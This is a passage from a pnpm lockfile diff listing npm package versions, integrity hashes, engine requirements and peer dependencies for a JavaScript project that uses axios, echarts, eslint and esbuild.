asynckit@0.4.0: + resolution: {integrity: sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==} + + available-typed-arrays@1.0.7: + resolution: {integrity: sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==} + engines: {node: '>= 0.4'} + + axios@1.11.0: + resolution: {integrity: sha512-1Lx3WLFQWm3ooKDYZD1eXmoGO9fxYQjrycfHFC8P0sCfQVXyROp0p9PFWBehewBOdCwHc+f/b8I0fMto5eSfwA==} + + balanced-match@1.0.2: + resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} + + brace-expansion@1.1.12: + resolution: {integrity: sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==} + + brace-expansion@2.0.2: + resolution: {integrity: sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==} + + braces@3.0.3: + resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} + engines: {node: '>=8'} + + browserslist@4.25.2: + resolution: {integrity: sha512-0si2SJK3ooGzIawRu61ZdPCO1IncZwS8IzuX73sPZsXW6EQ/w/DAfPyKI8l1ETTCr2MnvqWitmlCUxgdul45jA==} + engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} + hasBin: true + + call-bind-apply-helpers@1.0.2: + resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==} + engines: {node: '>= 0.4'} + + call-bind@1.0.8: + resolution: {integrity: sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==} + engines: {node: '>= 0.4'} + + call-bound@1.0.4: + resolution: {integrity: sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==} + engines: {node: '>= 0.4'} + + callsites@3.1.0: + resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} + engines: {node: '>=6'} + + caniuse-lite@1.0.30001734: + resolution: {integrity: sha512-uhE1Ye5vgqju6OI71HTQqcBCZrvHugk0MjLak7Q+HfoBgoq5Bi+5YnwjP4fjDgrtYr/l8MVRBvzz9dPD4KyK0A==} + + chalk@4.1.2: + resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} + engines: {node: '>=10'} + + chokidar@4.0.3: + resolution: {integrity: sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==} + engines: {node: '>= 14.16.0'} + + classnames@2.5.1: + resolution: {integrity: sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==} + + color-convert@2.0.1: + resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} + engines: {node: '>=7.0.0'} + + color-name@1.1.4: + resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} + + combined-stream@1.0.8: + resolution: {integrity: sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==} + engines: {node: '>= 0.8'} + + compute-scroll-into-view@3.1.1: + resolution: {integrity: sha512-VRhuHOLoKYOy4UbilLbUzbYg93XLjv2PncJC50EuTWPA3gaja1UjBsUP/D/9/juV3vQFr6XBEzn9KCAHdUvOHw==} + + concat-map@0.0.1: + resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} + + convert-source-map@2.0.0: + resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} + + copy-text-to-clipboard@3.2.0: + resolution: {integrity: sha512-RnJFp1XR/LOBDckxTib5Qjr/PMfkatD0MUCQgdpqS8MdKiNUzBjAQBEN6oUy+jW7LI93BBG3DtMB2KOOKpGs2Q==} + engines: {node: '>=12'} + + copy-to-clipboard@3.3.3: + resolution: {integrity: sha512-2KV8NhB5JqC3ky0r9PMCAZKbUHSwtEo4CwCs0KXgruG43gX5PMqDEBbVU4OUzw2MuAWUfsuFmWvEKG5QRfSnJA==} + + core-js@3.45.0: + resolution: {integrity: sha512-c2KZL9lP4DjkN3hk/an4pWn5b5ZefhRJnAc42n6LJ19kSnbeRbdQZE5dSeE2LBol1OwJD3X1BQvFTAsa8ReeDA==} + + cross-spawn@7.0.6: + resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==} + engines: {node: '>= 8'} + + csstype@3.1.3: + resolution: {integrity: sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==} + + data-view-buffer@1.0.2: + resolution: {integrity: sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==} + engines: {node: '>= 0.4'} + + data-view-byte-length@1.0.2: + resolution: {integrity: sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==} + engines: {node: '>= 0.4'} + + data-view-byte-offset@1.0.1: + resolution: {integrity: sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==} + engines: {node: '>= 0.4'} + + dayjs@1.11.13: + resolution: {integrity: sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg==} + + debug@4.4.1: + resolution: {integrity: sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + deep-is@0.1.4: + resolution: {integrity: sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==} + + deepmerge@4.3.1: + resolution: {integrity: sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==} + engines: {node: '>=0.10.0'} + + define-data-property@1.1.4: + resolution: {integrity: sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==} + engines: {node: '>= 0.4'} + + define-properties@1.2.1: + resolution: {integrity: sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==} + engines: {node: '>= 0.4'} + + delayed-stream@1.0.0: + resolution: {integrity: sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==} + engines: {node: '>=0.4.0'} + + detect-libc@1.0.3: + resolution: {integrity: sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg==} + engines: {node: '>=0.10'} + hasBin: true + + dir-glob@3.0.1: + resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==} + engines: {node: '>=8'} + + doctrine@2.1.0: + resolution: {integrity: sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==} + engines: {node: '>=0.10.0'} + + doctrine@3.0.0: + resolution: {integrity: sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==} + engines: {node: '>=6.0.0'} + + dunder-proto@1.0.1: + resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==} + engines: {node: '>= 0.4'} + + echarts-for-react@3.0.2: + resolution: {integrity: sha512-DRwIiTzx8JfwPOVgGttDytBqdp5VzCSyMRIxubgU/g2n9y3VLUmF2FK7Icmg/sNVkv4+rktmrLN9w22U2yy3fA==} + peerDependencies: + echarts: ^3.0.0 || ^4.0.0 || ^5.0.0 + react: ^15.0.0 || >=16.0.0 + + echarts@5.6.0: + resolution: {integrity: sha512-oTbVTsXfKuEhxftHqL5xprgLoc0k7uScAwtryCgWF6hPYFLRwOUHiFmHGCBKP5NPFNkDVopOieyUqYGH8Fa3kA==} + + electron-to-chromium@1.5.200: + resolution: {integrity: sha512-rFCxROw7aOe4uPTfIAx+rXv9cEcGx+buAF4npnhtTqCJk5KDFRnh3+KYj7rdVh6lsFt5/aPs+Irj9rZ33WMA7w==} + + es-abstract@1.24.0: + resolution: {integrity: sha512-WSzPgsdLtTcQwm4CROfS5ju2Wa1QQcVeT37jFjYzdFz1r9ahadC8B8/a4qxJxM+09F18iumCdRmlr96ZYkQvEg==} + engines: {node: '>= 0.4'} + + es-define-property@1.0.1: + resolution: {integrity: sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==} + engines: {node: '>= 0.4'} + + es-errors@1.3.0: + resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} + engines: {node: '>= 0.4'} + + es-iterator-helpers@1.2.1: + resolution: {integrity: sha512-uDn+FE1yrDzyC0pCo961B2IHbdM8y/ACZsKD4dG6WqrjV53BADjwa7D+1aom2rsNVfLyDgU/eigvlJGJ08OQ4w==} + engines: {node: '>= 0.4'} + + es-object-atoms@1.1.1: + resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==} + engines: {node: '>= 0.4'} + + es-set-tostringtag@2.1.0: + resolution: {integrity: sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==} + engines: {node: '>= 0.4'} + + es-shim-unscopables@1.1.0: + resolution: {integrity: sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==} + engines: {node: '>= 0.4'} + + es-to-primitive@1.3.0: + resolution: {integrity: sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==} + engines: {node: '>= 0.4'} + + esbuild@0.25.8: + resolution: {integrity: sha512-vVC0USHGtMi8+R4Kz8rt6JhEWLxsv9Rnu/lGYbPR8u47B+DCBksq9JarW0zOO7bs37hyOK1l2/oqtbciutL5+Q==} + engines: {node: '>=18'} + hasBin: true + + escalade@3.2.0: + resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==} + engines: {node: '>=6'} + + escape-string-regexp@4.0.0: + resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==} + engines: {node: '>=10'} + + eslint-config-prettier@9.1.2: + resolution: {integrity: sha512-iI1f+D2ViGn+uvv5HuHVUamg8ll4tN+JRHGc6IJi4TP9Kl976C57fzPXgseXNs8v0iA8aSJpHsTWjDb9QJamGQ==} + hasBin: true + peerDependencies: + eslint: '>=7.0.0' + + eslint-plugin-prettier@5.5.4: + resolution: {integrity: sha512-swNtI95SToIz05YINMA6Ox5R057IMAmWZ26GqPxusAp1TZzj+IdY9tXNWWD3vkF/wEqydCONcwjTFpxybBqZsg==} + engines: {node: ^14.18.0 || >=16.0.0} + peerDependencies: + '@types/eslint': '>=8.0.0' + eslint: '>=8.0.0' + eslint-config-prettier: '>= 7.0.0 <10.0.0 || >=10.1.0' + prettier: '>=3.0.0' + peerDependenciesMeta: + '@types/eslint': + optional: true + eslint-config-prettier: + optional: true + + eslint-plugin-react-hooks@5.2.0: + resolution: {integrity: sha512-+f15FfK64YQwZdJNELETdn5ibXEUQmW1DZL6KXhNnc2heoy/sg9VJJeT7n8TlMWouzWqSWavFkIhHyIbIAEapg==} + engines: {node: '>=10'} + peerDependencies: + eslint: ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0 + + eslint-plugin-react@7.37.5: + resolution: {integrity: sha512-Qteup0SqU15kdocexFNAJMvCJEfa2xUKNV4CC1xsVMrIIqEy3SQ/rqyxCWNzfrd3/ldy6HMlD2e0JDVpDg2qIA==} + engines: {node: '>=4'} + peerDependencies: + eslint: ^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7 + + eslint-scope@7.2.2: + resolution: {integrity: sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + eslint-visitor-keys@3.4.3: + resolution: {integrity: sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + eslint@8.57.1: + resolution: {integrity: sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + deprecated: This version is no longer supported. Please see https://eslint.org/version-support for other options. + hasBin: true + + espree@9.6.1: + resolution: {integrity: sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + esquery@1.6.0: + resolution: {integrity: sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==} + engines: {node: '>=0.10'} + + esrecurse@4.3.0: + resolution: {integrity: sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==} + engines: {node: '>=4.0'} + + estraverse@5.3.0: + resolution: {integrity: sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==} + engines: {node: '>=4.0'} + + esutils@2.0.3: + resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} + engines: {node: '>=0.10.0'} + + fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + + fast-diff@1.3.0: + resolution: {integrity: sha512-VxPP4NqbUjj6MaAOafWeUn2cXWLcCtljklUtZf0Ind4XQ+QPtmA0b18zZy0jIQx+ExRVCR/ZQpBmik5lXshNsw==} + + fast-glob@3.3.3: + resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==} + engines: {node: '>=8.6.0'} + + fast-json-stable-stringify@2.1.0: + resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==} + + fast-levenshtein@2.0.6: + resolution: {integrity: sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==} + + fastq@1.19.1: + resolution: {integrity: sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==} + + fdir@6.4.6: + resolution: {integrity: sha512-hiFoqpyZcfNm1yc4u8oWCf9A2c4D3QjCrks3zmoVKVxpQRzmPNar1hUJcBG2RQHvEVGDN+Jm81ZheVLAQMK6+w==} + peerDependencies: + picomatch: ^3 || ^4 + peerDependenciesMeta: + picomatch: + optional: true + + file-entry-cache@6.0.1: + resolution: {integrity: sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==} + engines: {node: ^10.12.0 || >=12.0.0} + + fill-range@7.1.1: + resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} + engines: {node: '>=8'} + + find-up@5.0.0: + resolution: {integrity: sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==} + engines: {node: '>=10'} + + flat-cache@3.2.0: + resolution: {integrity: sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==} + engines: {node: ^10.12.0 || >=12.0.0} + + flatted@3.3.3: + resolution: {integrity: sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==} + + follow-redirects@1.15.11: + resolution: {integrity: sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==} + engines: {node: '>=4.0'} + peerDependencies: + debug: '*' + peerDependenciesMeta: + debug: + optional: true + + for-each@0.3.5: + resolution: {integrity: sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==} + engines: {node: '>= 0.4'} + + form-data@4.0.4: + resolution: {integrity: sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==} + engines: {node: '>= 6'} + + fs.realpath@1.0.0: + resolution: {integrity: sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==} + + fsevents@2.3.3: + resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + + function-bind@1.1.2: + resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} + + function.prototype.name@1.1.8: + resolution: {integrity: sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==} + engines: {node: '>= 0.4'} + + functions-have-names@1.2.3: + resolution: {integrity: sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==} + + gensync@1.0.0-beta.2: + resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==} + engines: {node: '>=6.9.0'} + + get-intrinsic@1.3.0: + resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==} + engines: {node: '>= 0.4'} + + get-proto@1.0.1: + resolution: {integrity: sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==} + engines: {node: '>= 0.4'} + + get-symbol-description@1.1.0: + resolution: {integrity: sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==} + engines: {node: '>= 0.4'} + + glob-parent@5.1.2: + resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} + engines: {node: '>= 6'} + + glob-parent@6.0.2: + resolution: {integrity: sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==} + engines: {node: '>=10.13.0'} + + glob@7.2.3: + resolution: {integrity: sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==} + deprecated: Glob versions prior to v9 are no longer supported + + globals@13.24.0: + resolution: {integrity: sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==} + engines: {node: '>=8'} + + globalthis@1.0.4: + resolution: {integrity: sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==} + engines: {node: '>= 0.4'} + + globby@11.1.0: + resolution: {integrity: sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==} + engines: {node: '>=10'} + + gopd@1.2.0: + resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==} + engines: {node: '>= 0.4'} + + graphemer@1.4.0: + resolution: {integrity: sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==} + + has-bigints@1.1.0: + resolution: {integrity: sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==} + engines: {node: '>= 0.4'} + + has-flag@4.0.0: + resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} + engines: {node: '>=8'} + + has-property-descriptors@1.0.2: + resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==} + + has-proto@1.2.0: + resolution: {integrity: sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==} + engines: {node: '>= 0.4'} + + has-symbols@1.1.0: + resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==} + engines: {node: '>= 0.4'} + + has-tostringtag@1.0.2: + resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==} + engines: {node: '>= 0.4'} + + hasown@2.0.2: + resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==} + engines: {node: '>= 0.4'} + + ignore@5.3.2: + resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==} + engines: {node: '>= 4'} + + immutable@5.1.3: + resolution: {integrity: sha512-+chQdDfvscSF1SJqv2gn4SRO2ZyS3xL3r7IW/wWEEzrzLisnOlKiQu5ytC/BVNcS15C39WT2Hg/bjKjDMcu+zg==} + + import-fresh@3.3.1: + resolution: {integrity: sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==} + engines: {node: '>=6'} + + imurmurhash@0.1.4: + resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==} + engines: {node: '>=0.8.19'} + + inflight@1.0.6: + resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==} + deprecated: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful. + + inherits@2.0.4: + resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} + + internal-slot@1.1.0: + resolution: {integrity: sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==} + engines: {node: '>= 0.4'} + + intersection-observer@0.12.2: + resolution: {integrity: sha512-7m1vEcPCxXYI8HqnL8CKI6siDyD+eIWSwgB3DZA+ZTogxk9I4CDnj4wilt9x/+/QbHI4YG5YZNmC6458/e9Ktg==} + + is-array-buffer@3.0.5: + resolution: {integrity: 